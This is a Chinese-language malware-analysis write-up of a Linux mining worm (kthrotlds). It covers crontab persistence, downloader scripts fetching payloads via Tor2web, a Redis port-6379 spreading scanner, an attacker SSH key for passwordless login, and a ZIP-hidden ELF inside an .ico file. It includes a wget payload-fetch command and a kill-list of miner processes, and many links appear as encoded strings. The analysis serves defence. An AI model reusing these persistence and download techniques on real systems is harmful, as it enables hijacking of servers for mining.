最近遇到的一次后门事件,通过分析发现是一起挖矿蠕虫。通过查询CentOS计划任务crontab,发现以下计划任务。

已手工重新格式化如下:
Linux平台日常查询计划任务时,发现了如上一大串的命令,非常可疑。经关键字搜索,发现可以判断为最近的kthroltlds挖矿病毒。
链接如下:
What is Linux process "kthrotlds" and how do I kill or reduce its CPU impact? : linuxquestions
9c7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2J5k6h3c8V1K9i4c8Q4x3X3g2U0L8$3#2Q4x3V1k6J5i4K6u0r3L8r3W2F1N6i4S2I4N6h3g2K6N6r3W2G2L8Y4y4Q4x3V1k6U0L8$3#2E0k6h3&6@1M7#2)9J5c8X3u0H3k6e0W2S2L8g2)9J5c8Y4N6Z5j5i4c8Q4y4h3k6A6M7#2)9#2k6X3I4A6L8Y4g2^5i4K6g2X3M7s2u0G2j5$3g2K6M7#2)9#2k6X3E0@1K9s2u0G2N6r3I4V1M7#2)9#2k6X3q4F1k6q4)9#2k6X3S2G2N6#2)9#2k6X3c8G2i4K6g2X3K9g2)9#2k6X3E0A6L8r3I4Q4x3V1j5`.
初步看这段shell脚本,发现最后出现的wget请求了一些公网地址,最后还修改了文件权限,之后启动了这个脚本,非常明显的恶意行为。
搜索了下这些域名中的Tor2web,发现这是一个软件项目,允许从标准浏览器访问Tor隐藏服务,而无需连接到Tor网络。
这里可以发现这些站点为攻击者转发到相应的Tor onion站点,通过中间人转发代理,可以使用标准浏览器进行访问,作用是隐藏攻击者的信息。
该脚本这里的作用为下载器,下载后续的恶意代码并执行。
接着看,最后wget下载了一个shell脚本,下载下来后,VT检测如下:
VT检测结果:
fb6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2$3K9i4u0#2M7%4c8G2N6r3q4D9i4K6u0W2j5$3!0E0i4K6u0r3k6%4g2A6i4K6u0r3k6X3W2D9k6g2)9J5c8U0N6W2y4K6M7J5y4e0N6X3z5e0u0S2x3r3f1&6x3e0u0T1x3K6N6T1y4$3x3#2y4e0f1$3j5X3k6T1y4o6b7^5j5e0k6S2j5e0k6V1y4X3b7&6y4e0q4X3y4o6V1^5j5h3b7#2z5r3c8T1y4e0N6V1j5U0u0S2k6e0k6S2x3e0k6Q4x3V1k6V1k6i4c8W2j5%4c8A6L8$3^5`.
样本很新,发生在最近1个月内。
ldm脚本
MD5:529aa9ae456963bf203300fbd5b4e4f5
SHA-1:a2ca3481cd295bc2664587ac6a7804b5123dc3c1
SHA-256:7e77257f92a0e912b37b7c5556bfb448a6aa6d6d951f498ad58db57db2ae6a16
该样本第一次提交时间为2019-07-03 21:02:26 UTC
下面对该ldm脚本进行分析
在指定的目录下生成一些随机文件名的文件,出现两个计划任务配置,与之前的下载器的配置类似,方便后续对下载的脚本更新。
也是就是下载器下载完成后,就会执行之前随机文件名的脚本,接着使用ps aux命令查找是否有其他的挖矿进程与行为
"kworkerds\|56416\|xmr\|xig\|ddgs\|minerd\|hashvault\|geqn\|.kthreadd\|httpdz\|kworker\|config.json\|gwjyhs.com\|pastebin.com\|sobot.com\|kerbero
如果存在就杀死这些进程,接着通过访问ipinfo.io/ip得到当前机器的IP地址,将系统已经存在的任务计划目录,进行删除。
相关的路径如下:
crontab计划任务配置完成后,接着就开始对受害机器进行ssh配置,配置ssh免密登陆,具体配置可以查截图里具体命令。
skey="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user@localhost"
最后会去访问并下载下一个恶意脚本名字为main,该地址 d78K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2L8U0N6C8L8h3b7J5N6%4l9@1P5r3)9%4K9s2m8J5i4K6u0W2k6o6u0%4k6h3u0Q4x3X3g2G2M7X3N6Q4x3V1k6K6M7X3y4Q4x3V1k6E0j5h3W2F1i4K6t1$3L8X3u0K6M7q4)9K6b7W2!0q4y4g2)9^5c8W2!0m8c8W2!0q4y4q4!0n7z5q4)9^5b7W2!0q4z5q4!0n7c8q4!0n7c8q4!0q4y4g2)9^5z5q4!0n7x3r3#2S2K9h3&6Q4c8e0S2Q4z5o6c8Q4z5f1q4Q4c8e0k6Q4z5f1y4Q4b7f1x3`.
main脚本分析
原始main文件样本
MD5:72c2ac79465ac780dc61e5dbea4caa00
SHA-1:7090a84dbbefbc65ef3026856e826301d9aa4992
SHA-256:6aef5bb7a15db0982fdf39147a514c4a75d4eb6587ea476f34c647e2bedc5230
8e9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2$3K9i4u0#2M7%4c8G2N6r3q4D9i4K6u0W2j5$3!0E0i4K6u0r3k6%4g2A6i4K6u0r3k6X3W2D9k6g2)9J5c8U0k6S2k6h3j5#2j5X3t1%4j5e0p5#2k6r3t1H3z5e0R3J5k6X3c8X3x3K6V1I4y4o6N6S2y4e0p5@1j5K6c8S2y4K6g2V1y4r3g2T1y4U0f1^5y4$3g2S2y4o6M7$3k6U0x3@1j5K6j5@1y4$3f1J5j5X3g2V1j5K6f1J5x3K6m8Q4x3V1k6V1k6i4c8W2j5%4c8A6L8$3^5`.
main脚本base64解码后的样本
MD5:d1eaec979e57c6b4cb19e58383284256
SHA-1:f67476fdb38aeb0d512757b837216994b7705bae
SHA-256:7112ae92d7b03f0a280616d076b692889b0b05a0a75559623df6acdf07255700
e28K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2$3K9i4u0#2M7%4c8G2N6r3q4D9i4K6u0W2j5$3!0E0i4K6u0r3k6%4g2A6i4K6u0r3k6X3W2D9k6g2)9J5c8U0M7I4x3e0u0S2k6e0V1J5k6o6N6T1x3o6y4X3x3r3p5J5z5o6l9$3x3e0k6V1x3o6M7$3j5U0j5&6x3U0R3^5z5h3t1H3j5U0l9#2j5e0m8S2y4K6f1#2y4e0V1$3x3U0y4V1k6U0k6S2j5$3c8X3x3o6M7J5y4e0f1%4x3o6m8Q4x3V1k6V1k6i4c8W2j5%4c8A6L8$3^5`.
解码后的脚本如下:
访问如下链接,下载对应的数据解码后执行。
9faK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2L8U0N6C8L8h3b7J5N6%4l9@1P5r3)9%4K9s2m8J5i4K6u0W2N6r3!0J5x3Y4N6W2j5W2)9J5k6i4y4#2i4K6u0r3M7%4u0U0i4K6u0r3M7$3x3`.
得到下载的Python脚本sc
发现是执行端口扫描功能,再具体看看内部实现的功能。
这里可以看出,除了内网IP地址外,其余IP都会进行端口6379扫描,看看是否存在redis未授权访问,这里的话表示这个脚本存在蠕虫功能,同时redis存在未授权就设置相关的计划任务,进一步扩散。
同样的,main脚本里发现又下载了ioc文件(图标文件),目前不知道具体作用,先放一边,接下来这里是判断系统位数来下载对应的文件。

列举一个下载图标文件的地址:
wget 129K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2L8U0N6C8L8h3b7J5N6%4l9@1P5r3)9%4K9s2m8J5i4K6u0W2N6r3!0J5x3Y4N6W2j5W2)9J5k6i4y4#2i4K6u0r3K9h3#2S2k6$3g2K6i4K6u0r3K9h3y4G2i4K6u0r3M7U0j5@1P5o6M7#2i4K6u0W2K9h3y4G2 --no-check-certificate
cd3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2L8U0N6C8L8h3b7J5N6%4l9@1P5r3)9%4K9s2m8J5i4K6u0W2N6r3!0J5x3Y4N6W2j5W2)9J5k6i4y4#2i4K6u0r3K9h3#2S2k6$3g2K6i4K6u0r3K9h3y4G2i4K6u0r3M7U0j5@1P5o6M7#2i4K6u0W2K9h3y4G2
通过第一行命令选择不同的前缀是a或r,具体取决于脚本检测到的操作系统版本。64x75代表系统是64位,反之32x75就是32位。
现在对下载到本地的ico文件进行分析,file命令识别为图标文件。
桌面环境能显示为一个github图标logo

找隐藏文件这里的话靠经验,因为下载的文件不可能是一个正常的图标文件,不然下载了无任何作用,所以得寻找下是否存在常用的文件头标志,这里的话在偏移0xFBC处存在zip文件头,所以这里隐藏了一个zip压缩文件。

对其解压,需要输入密码。


main脚本里可以找到解压密码:no-password,解压成功。

解压后的文件为ELF格式文件

使用strings命令获取字符串,发现了UPX痕迹。



使用工具对其脱壳如下:137K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7s2S2Q4x3V1k6#2M7s2S2Q4x3V1k6J5k6h3I4W2j5i4y4W2M7#2)9J5c8X3c8G2N6$3&6D9L8$3q4V1i4K6u0r3N6U0y4Q4x3X3f1&6y4g2)9J5c8Y4g2H3P5q4)9J5k6o6y4Q4x3X3f1&6y4g2)9J5k6r3q4E0k6o6j5@1i4K6g2X3L8r3W2F1N6i4S2Q4x3X3g2@1j5i4u0Q4x3X3g2^5P5R3`.`.

获取的ELF文件,上传VT检测。
r64x75_unpacked
MD5:707af0460ce6fa6406eb4068310cdd27
SHA-1:f06f6782a51d62dd889edfba26b68adc3fd6a70c
[培训]科锐逆向工程师培训第53期2025年7月8日开班!